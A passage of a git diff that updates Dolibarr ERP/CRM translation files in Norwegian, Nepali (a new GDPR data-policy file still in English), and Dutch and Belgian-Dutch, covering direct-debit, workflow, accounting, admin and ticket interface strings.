kreditoverføring registrert @@ -48,7 +50,7 @@ ThirdPartyBankCode=Tredjeparts bankkode NoInvoiceCouldBeWithdrawed=Ingen faktura debitert. Kontroller at fakturaer mot selskaper med gyldig standard BAN, og at BAN har en RUM-modus %s . WithdrawalCantBeCreditedTwice=Denne uttakskvitteringen er allerede merket som kreditert; dette kan ikke gjøres to ganger, da dette potensielt kan skape dupliserte betalinger og bankoppføringer. ClassCredited=Klassifiser som kreditert -ClassDebited=Classify debited +ClassDebited=Klassifiser debitert ClassCreditedConfirm=Er du sikker på at du vil klassifisere tilbakekallingen som kreditert din bankkonto? TransData=Dato for overføring TransMetod=Metode for overføring @@ -99,8 +101,11 @@ CreditDate=Kreditt på WithdrawalFileNotCapable=Kan ikke ikke generere kvitteringsfil for tilbaketrekking for landet ditt %s (Landet er ikke støttet) ShowWithdraw=Vis direkte debitordre IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Men, hvis fakturaen har minst én avbestillingsordre som ikke er behandlet ennå, blir den ikke satt som betalt for å tillate tidligere håndtering av tilbaketrekninger. -DoStandingOrdersBeforePayments=Denne fanen lar deg be om en betalingsordre med direkte belastning. Når du er ferdig, kan du gå til menyen Bank-> Betaling med direkte belastning for å generere og administrere direkte belastning. Når ordre med direkte belastning blir stengt, blir betaling på fakturaer automatisk registrert, og fakturaer stengt hvis resten til betaling er null. -DoCreditTransferBeforePayments=Denne fanen lar deg be om en kreditoverføringsordre. Når du er ferdig, går du inn i menyen Bank-> Betaling ved overføring for å generere og administrere overføringsordren. Når kredittoverføringsordren er lukket, vil betaling på fakturaer automatisk bli registrert, og fakturaer stengt hvis resten av utestående er null. +DoStandingOrdersBeforePayments=Denne fanen lar deg be om en betalingsordre for direkte belastning. Når det er gjort, kan du gå inn i menyen "Bank->Betaling med avtalegiro" for å generere og administrere en ordrefil for avtalegiro. +DoStandingOrdersBeforePayments2=Du kan også sende en forespørsel direkte til en SEPA betalingsbehandler som Stripe, ... +DoStandingOrdersBeforePayments3=Når direkte debet er stengt, vil betaling på fakturaer automatisk registreres, og fakturaer lukkes hvis gjenstående betaling er null. +DoCreditTransferBeforePayments=Denne fanen lar deg be om en kredittoverføringsordre. Når du er ferdig, går du inn i menyen "Bank->Betaling med kredittoverføring" for å generere og administrere en ordrefil for kredittoverføring. +DoCreditTransferBeforePayments3=Når kredittoverføringsordren er stengt, vil betaling på fakturaer automatisk registreres, og fakturaer stenges hvis gjenstående betaling er null. WithdrawalFile=Debetordrefil CreditTransferFile=Kredittoverføringsfil SetToStatusSent=Sett status til "Fil Sendt" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Kan ikke opprette en tom direktedebet-betalingfore SepaMandate=SEPA Direktedebet mandat SepaMandateShort=SEPA-Mandat PleaseReturnMandate=Vennligst returner dette mandatskjemaet via epost til %s eller med post til -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=Ved å signere dette fullmaktsskjemaet, autoriserer du (A) %s og dets betalingstjenesteleverandør til å sende instruksjoner til banken din om å belaste kontoen din og (B) banken din til å belaste kontoen din i samsvar med instruksjonene fra %s. Som en del av rettighetene dine har du rett til refusjon fra banken din i henhold til vilkårene i avtalen med banken din. Dine rettigheter angående fullmakten ovenfor er forklart i en erklæring som du kan få fra banken din. CreditorIdentifier=Kreditor-identifikator CreditorName=Kreditornavn SEPAFillForm=(B) Vennligst fullfør alle felt merket med * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Utførelsesdato CreateForSepa=Lag direkte debitfil ICS=Kreditoridentifikator - ICS +IDS=Debitor identifikator END_TO_END="EndToEndId" SEPA XML-tag - Unik ID tildelt per transaksjon USTRD="Ustrukturert" SEPA XML-tag ADDDAYS=Legg til dager til utførelsesdato @@ -152,5 +158,6 @@ ModeWarning=Opsjon for reell-modus ble ikke satt, så vi stopper etter denne sim ErrorCompanyHasDuplicateDefaultBAN=Firma med ID%s har mer enn én standard bankkonto. Ingen måte å vite hvilken du skal bruke. ErrorICSmissing=Mangler ICS i bankkonto %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Totalt beløp for direktedebet er ulik linjesum -WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s -WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +WarningSomeDirectDebitOrdersAlreadyExists=Advarsel: Det er allerede noen direkte belastningsordrer som venter (%s) forespurt for et beløp på %s +WarningSomeCreditTransferAlreadyExists=Advarsel: Det er allerede noen ventende kredittoverføringer (%s) forespurt for et beløp på %s +UsedFor=Brukes for %s diff --git a/htdocs/langs/nb_NO/workflow.lang b/htdocs/langs/nb_NO/workflow.lang index 648ef7587b4..40b45b0919d 100644 --- a/htdocs/langs/nb_NO/workflow.lang +++ b/htdocs/langs/nb_NO/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Klassifiser kildekjø descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Klassifiser koblet kilde-innkjøpsordre som mottatt når et mottak er validert (og hvis antallet mottatt av alle mottak er det samme som i innkjøpsordren som skal oppdateres) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Klassifiser koblet kilde-innkjøpsordre som mottatt når et mottak er stengt (og hvis antallet mottatt av alle mottak er det samme som i innkjøpsordren som skal oppdatere) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Klassifiser mottak til "fakturert" når en koblet leverandørbestilling er validert +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Klassifiser mottak til "fakturert" når en koblet kjøpsfaktura er validert (og hvis beløpet på fakturaen er det samme som totalbeløpet for de tilknyttede mottakene) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Når du oppretter en billett, kobler du tilgjengelige kontrakter til samsvarende tredjepart descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Når du kobler sammen kontrakter, søk blant de fra morselskapene @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Lukk alle intervensjoner knyttet til bill AutomaticCreation=Automatisk opprettelse AutomaticClassification=Automatisk klassifisering # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassifiser koblet kildesending som lukket når kundefaktura er validert +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Klassifiser koblet kildeforsendelse som lukket når kundefakturaen er validert (og hvis fakturabeløpet er det samme som totalbeløpet for de koblede forsendelsene) AutomaticClosing=Automatisk lukking AutomaticLinking=Automatisk kobling diff --git a/htdocs/langs/ne_NP/datapolicy.lang b/htdocs/langs/ne_NP/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ne_NP/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/nl_BE/accountancy.lang b/htdocs/langs/nl_BE/accountancy.lang index b4327b3b13b..bf0668f6ad0 100644 --- a/htdocs/langs/nl_BE/accountancy.lang +++ b/htdocs/langs/nl_BE/accountancy.lang @@ -12,7 +12,6 @@ Selectchartofaccounts=Selecteer actieve grafieken van accounts Addanaccount=Voeg een boekhoudkundige rekening toe AccountAccounting=Boekhoudkundige rekening AccountAccountingShort=Rekening -AccountAccountingSuggest=Voorgesteld boekhoudkundige rekening CreateMvts=Nieuwe transactie maken UpdateMvts=Wijzigen van een transactie Processing=Verwerken @@ -23,5 +22,6 @@ Docref=Artikelcode TotalVente=Totaal omzet voor belastingen AccountingJournalType2=Verkoop AccountingJournalType3=Inkoop +AccountingJournalType5=Uitgaven rapporten Modelcsv=Model van een export Selectmodelcsv=Selecteer een model van export diff --git a/htdocs/langs/nl_BE/admin.lang b/htdocs/langs/nl_BE/admin.lang index 96a2c46c4ed..89d82008a7c 100644 --- a/htdocs/langs/nl_BE/admin.lang +++ b/htdocs/langs/nl_BE/admin.lang @@ -41,6 +41,7 @@ UsePreviewTabs=Gebruik voorbeelweergavetabbladen ShowPreview=Toon voorbeelweergave TZHasNoEffect=Datums worden opgeslagen en geretourneerd door de databaseserver alsof ze worden bewaard als verzonden string. De tijdzone heeft alleen effect bij het gebruik van de UNIX_TIMESTAMP-functie (die niet door Dolibarr mag worden gebruikt, dus database TZ zou geen effect mogen hebben, zelfs als deze wordt gewijzigd nadat gegevens zijn ingevoerd). NextValueForDeposit=Volgende waarde (aanbetaling) +UseCaptchaCode=Gebruik een grafische code (CAPTCHA) op de aanmeldingspagina en enkele publieke pagina's AntiVirusCommandExample=Voorbeeld voor ClamAv Daemon (vereist clamav-daemon): /usr/bin/clamdscan
      Voorbeeld voor ClamWin (erg langzaam): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe ComptaSetup=Instellingen van de boekhoudkundige module UserSetup=Gebruikersbeheerinstellingen @@ -191,7 +192,9 @@ ExtrafieldCheckBoxFromList=Selectievakjes uit tabel LibraryToBuildPDF=Bibliotheek om PDF bestanden te genereren. RefreshPhoneLink=Herladen link SetAsDefault=Instellen als standaard +InstalledInto=Geïnstalleerd in map %s BarcodeInitForProductsOrServices=Mass barcode init of reset voor producten of diensten +InitEmptyBarCode=Init waarde voor de volgende %s lege records NoDetails=Geen aanvullende details in voettekst DisplayCompanyInfo=Bedrijfsadres weergeven DisplayCompanyManagers=Namen van beheerders weergeven @@ -204,6 +207,7 @@ Module3400Name=Sociale Netwerken Module55000Desc=Creëer online polls, enquêtes of stemmen (zoals Doodle, Studs, RDVz etc...) Module62000Desc=Onderdelen toevoegen voor Incoterms Module63000Desc=Beheer middelen (printers, auto's, kamers, ...) voor toewijzing aan evenementen +Module94160Name=Ontvangen Permission22=Creëer / wijzig offertes Permission24=Valideer offertes Permission32=Creëer / wijzig producten / diensten @@ -244,7 +248,5 @@ MailToSendReception=Ontvangen MailToExpenseReport=Uitgaven rapporten MailToThirdparty=Klant AddBoxes=Widgets toevoegen -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. GeneralOptions=Algemene opties ExportSetup=Installatie van module Exporteren -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      diff --git a/htdocs/langs/nl_BE/compta.lang b/htdocs/langs/nl_BE/compta.lang index 4bb99924312..c0990dfa102 100644 --- a/htdocs/langs/nl_BE/compta.lang +++ b/htdocs/langs/nl_BE/compta.lang @@ -22,6 +22,7 @@ DeleteSocialContribution=Verwijder betaling sociale bijdrage/belasting ExportDataset_tax_1=sociale bijdragen/belastingen en betalingen CalcModeLT1Debt=Modus %sRE op afnemersfacturen%s CalcModeLT1Rec=Modus %sRE op leveranciersfacturen%s +OptionVatInfoModuleComptabilite=Opmerking: Voor materiële activa, zou het gebruik moeten maken van de afleverdatum om eerlijker te zijn. PurchasesJournal=Inkoopdagboek DescPurchasesJournal=Inkoopdagboek OtherCountriesCustomersReport=Buitenlands klantenrapport diff --git a/htdocs/langs/nl_BE/propal.lang b/htdocs/langs/nl_BE/propal.lang index 993ba762d6f..4a3d08323fb 100644 --- a/htdocs/langs/nl_BE/propal.lang +++ b/htdocs/langs/nl_BE/propal.lang @@ -10,4 +10,5 @@ ConfirmReOpenProp=Weet u zeker dat u offerte %s opnieuw wil openen? TypeContact_propal_internal_SALESREPFOLL=Vertegenwoordiger die de offerte opvolgt TypeContact_propal_external_BILLING=Contactpersoon afnemersfactuur TypeContact_propal_external_SHIPPING=Klantcontact voor leveringen +NoSign=Refuse ProposalCustomerSignature=Stempel, datum en handtekening met vermelding "Voor Akkoord" diff --git a/htdocs/langs/nl_BE/ticket.lang b/htdocs/langs/nl_BE/ticket.lang index 30a0241a7d4..243f09da279 100644 --- a/htdocs/langs/nl_BE/ticket.lang +++ b/htdocs/langs/nl_BE/ticket.lang @@ -56,8 +56,6 @@ NewTicket=Nieuw ticket MarkAsRead=Markeer ticket als gelezen TicketHistory=Ticket geschiedenis TicketChangeType=Van type veranderen -TicketAddMessage=Voeg een bericht toe -AddMessage=Voeg een bericht toe TicketMessageSuccessfullyAdded=Bericht is succesvol toegevoegd NoMsgForThisTicket=Geen bericht voor dit ticket TicketSeverity=Strengheid @@ -65,7 +63,6 @@ ConfirmCloseAticket=Bevestig het sluiten van het ticket TicketDeletedSuccess=Ticket verwijderd met succes SendMessageByEmail=Stuur bericht per e-mail ErrorMailRecipientIsEmptyForSendTicketMessage=Ontvanger is leeg. Geen e-mail verzonden -TicketMessageMailIntro=Inleiding TicketMessageMailIntroHelp=Deze tekst wordt alleen aan het begin van de e-mail toegevoegd en wordt niet opgeslagen. TicketMessageHelp=Alleen deze tekst wordt opgeslagen in de berichtenlijst van het ticket. TicketMessageSubstitutionReplacedByGenericValues=Vervangingenvariabelen worden vervangen door generieke waarden. @@ -103,7 +100,6 @@ TicketNewEmailBodyInfosTrackId=Volgnummer van ticket: %s TicketNewEmailBodyInfosTrackUrlCustomer=U kunt de voortgang van het ticket in de specifieke interface bekijken door op de volgende link te klikken TicketEmailPleaseDoNotReplyToThisEmail=Reageer niet direct op deze e-mail! Gebruik de link om te antwoorden in de interface. TicketPublicInfoCreateTicket=Dit formulier laat U toe om een support ticket op te nemen in ons managementsysteem. -TicketPublicPleaseBeAccuratelyDescribe=Beschrijf het probleem alstublieft nauwkeurig. Geef de meeste informatie die mogelijk is om ons in staat te stellen uw verzoek correct te identificeren. TicketPublicMsgViewLogIn=Voer het ticket tracking ID in TicketTrackId=Openbare tracking-ID OneOfTicketTrackId=Een van uw tracking-ID diff --git a/htdocs/langs/nl_NL/accountancy.lang b/htdocs/langs/nl_NL/accountancy.lang index f8f6e23da4a..4ab974fc579 100644 --- a/htdocs/langs/nl_NL/accountancy.lang +++ b/htdocs/langs/nl_NL/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Selecteer het nieuwe regel type ACCOUNTING_EXPORT_PREFIX_SPEC=Specificeer de prefix voor de bestandsnaam ThisService=Deze dienst ThisProduct=Dit product -DefaultForService=Standaard bij dienst -DefaultForProduct=Standaard bij product +DefaultForService=Standaard voor services +DefaultForProduct=Standaard voor producten ProductForThisThirdparty=Product voor deze relatie ServiceForThisThirdparty=Service voor deze relatie CantSuggest=Geen suggestie @@ -50,7 +50,7 @@ CountriesExceptMe=Alle landen behalve %s AccountantFiles=Bron-documenten exporteren ExportAccountingSourceDocHelp=Met deze tool kunt u de brongebeurtenissen zoeken en exporteren die worden gebruikt om uw boekhouding te genereren.
      Het geëxporteerde ZIP-bestand bevat de lijsten met gevraagde items in CSV, evenals de bijgevoegde bestanden in hun oorspronkelijke formaat (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Gebruik het menu-item %s - %s om uw dagboeken te exporteren. -ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. +ExportAccountingProjectHelp=Specificeer een project als u alleen een boekhoudkundig rapport nodig heeft voor een specifiek project. Onkostendeclaraties en afbetalingen van leningen zijn niet opgenomen in projectrapporten. VueByAccountAccounting=Overzicht per grootboekrekening VueBySubAccountAccounting=Overzicht op volgorde subrekening @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Hoofdrekening voor leveranciers die niet zijn MainAccountForUsersNotDefined=De standaard grootboekrekening voor gebruikers is niet vastgelegd bij de instellingen MainAccountForVatPaymentNotDefined=Standaard grootboekrekening voor betaalde BTW is niet vastgelegd bij instellingen MainAccountForSubscriptionPaymentNotDefined=Hoofdrekening voor abonnementsbetaling is niet gedefinieerd in de configuratie +UserAccountNotDefined=Grootboekrekening voor gebruiker niet gedefinieerd in setup AccountancyArea=Boekhouding AccountancyAreaDescIntro=Het gebruiken van de boekhoudmodule gaat met verschillende stappen @@ -100,7 +101,8 @@ ShowAccountingAccount=Toon grootboekrekening ShowAccountingJournal=Toon dagboek ShowAccountingAccountInLedger=Grootboekrekening in grootboek ShowAccountingAccountInJournals=Laat grootboekrekening zien in journaals -AccountAccountingSuggest=Voorgestelde rekening +DataUsedToSuggestAccount=Gegevens die worden gebruikt om een account voor te stellen +AccountAccountingSuggest=Rekening voorgesteld MenuDefaultAccounts=Standaard GB-rekeningen MenuBankAccounts=Bankrekeningen MenuVatAccounts=BTW rekeningen @@ -125,6 +127,7 @@ WriteBookKeeping=Boek transacties in de boekhouding Bookkeeping=Grootboek BookkeepingSubAccount=Sub-grootboek AccountBalance=Balans +AccountBalanceSubAccount=Saldo subrekeningen ObjectsRef=Ref. bron-object CAHTF=Totaal inkoop leverancier excl. BTW TotalExpenseReport=Totaal resultaatrekening kosten @@ -162,44 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Rechtstreeks boeken van transactie in bankboek uitzett ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Schakel concept export van het journaal in ACCOUNTANCY_COMBO_FOR_AUX=Schakel combolijst in voor dochteronderneming-account (kan traag zijn als je veel derden hebt, verbreek de mogelijkheid om op een deel van de waarde te zoeken) ACCOUNTING_DATE_START_BINDING=Definieer een startdatum voor het koppelen en doorboeken naar de boekhouding. Transacties voor deze datum worden niet doorgeboekt naar de boekhouding. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Wat is de standaard geselecteerde periode bij overdracht van boekhouding? -ACCOUNTING_SELL_JOURNAL=Verkoopboek -ACCOUNTING_PURCHASE_JOURNAL=Inkoopboek -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=Algemeen journaal +ACCOUNTING_HAS_NEW_JOURNAL=Heeft nieuw Journaal +ACCOUNTING_INVENTORY_JOURNAL=Voorraad journaal ACCOUNTING_SOCIAL_JOURNAL=Social journal -ACCOUNTING_HAS_NEW_JOURNAL=Nieuw Has Journaal ACCOUNTING_RESULT_PROFIT=Resultaat grootboekrekening (winst) ACCOUNTING_RESULT_LOSS=Resultaat grootboekrekening (Verlies) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Afsluiten journaal -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Kruispostrekening voor bank naar bank transactie +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Rekening (uit het rekeningschema) die moet worden gebruikt als rekening voor tijdelijke bankoverschrijvingen TransitionalAccount=Overgangsrekening -ACCOUNTING_ACCOUNT_SUSPENSE=Grootboekrekening kruisposten (dagboeken) -DONATION_ACCOUNTINGACCOUNT=Grootboeknummer voor donaties -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Grootboekrekening om abonnementen te registreren +ACCOUNTING_ACCOUNT_SUSPENSE=Rekening (uit het rekeningschema) die moet worden gebruikt als de rekening voor ontvangen of betaalde niet-toegewezen fondsen, d.w.z. fondsen in "wachten" +DONATION_ACCOUNTINGACCOUNT=Rekening (uit het Rekeningschema) voor het registreren van donaties (Donatiemodule) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Rekening (uit het Rekeningschema) te gebruiken om abonnementen op lidmaatschappen te registreren (Lidmaatschapsmodule - indien lidmaatschap geregistreerd zonder factuur) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Standaard grootboekrekening voor storting door klant -UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Accounting account by default to register supplier deposit -UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Rekening (uit het Rekeningschema) die moet worden gebruikt als de standaardrekening om deposito's van klanten te registreren +UseAuxiliaryAccountOnCustomerDeposit=Klantrekening opslaan als individuele rekening in subgrootboek voor vooruitbetalingsregels (indien uitgeschakeld, blijft individuele rekening voor vooruitbetalingsregels leeg) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Rekening (uit het Rekeningschema) als standaard te gebruiken +UseAuxiliaryAccountOnSupplierDeposit=Leveranciersrekening opslaan als individuele rekening in subgrootboek voor vooruitbetalingsregels (indien uitgeschakeld, blijft individuele rekening voor vooruitbetalingsregels leeg) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Boekhoudingsaccount standaard om de door de klant behouden garantie te registreren -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Standaard grootboekrekening voor de gekochte producten (gebruikt indien niet gedefinieerd in de productfiche) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Grootboekrekening standaard voor de gekochte producten binnen de EU (gebruikt indien niet gedefinieerd in het productblad) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Grootboekrekening standaard voor de gekochte producten en geïmporteerd buiten de EU (gebruikt indien niet gedefinieerd in het productblad) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Standaard grootboekrekening omzet producten (indien niet opgegeven bij productgegevens) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Standaard grootboekrekening voor binnen de EU verkochte producten (gebruikt indien niet gedefinieerd bij de productgegevens) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Standaard boekhoudrekening voor de producten die worden verkocht en uitgevoerd naar buiten de EU (gebruikt indien niet gedefinieerd bij de productgegevens) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de producten die in hetzelfde land zijn gekocht (gebruikt indien niet gedefinieerd in het productblad) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de producten die van de EEG naar een ander EEG-land worden gekocht (gebruikt indien niet gedefinieerd in het productblad) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de producten die zijn gekocht en geïmporteerd uit een ander buitenland (gebruikt indien niet gedefinieerd in het productblad) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Rekening (uit het Rekeningschema) te gebruiken als de standaardrekening voor de verkochte producten (gebruikt indien niet gedefinieerd in het productblad) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de producten die vanuit de EEG naar een ander EEG-land worden verkocht (gebruikt indien niet gedefinieerd in het productblad) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Rekening (uit het Rekeningschema) te gebruiken als de standaardrekening voor de producten die worden verkocht en geëxporteerd naar een ander buitenland (gebruikt indien niet gedefinieerd in het productblad) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Standaard grootboekrekening inkoop diensten (indien niet opgegeven bij dienstgegevens) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Grootboekrekening standaard voor de gekochte services binnen de EU (gebruikt indien niet gedefinieerd in het serviceblad) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Standaard grootboekrekening voor de gekochte services en geïmporteerd van buiten de EU (gebruikt indien niet gedefinieerd in het serviceblad) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Standaard grootboekrekening omzet diensten (indien niet opgegeven bij dienstgegevens) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Standaard grootboekrekening voor binnen de EU verkochte diensten (gebruikt indien niet gedefinieerd bij de servicegegevens) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Standaard grootboekrekening voor de diensten die worden verkocht en geëxporteerd naar buiten de EU (gebruikt indien niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de diensten die in hetzelfde land zijn gekocht (gebruikt indien niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de diensten die van de EEG naar een ander EEG-land worden gekocht (gebruikt indien niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Rekening (uit het rekeningschema) te gebruiken als de standaardrekening voor de diensten die zijn gekocht en geïmporteerd uit een ander buitenland (gebruikt indien niet gedefinieerd in het serviceblad) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Rekening (uit het Rekeningschema) te gebruiken als de standaardrekening voor de verkochte diensten (gebruikt indien 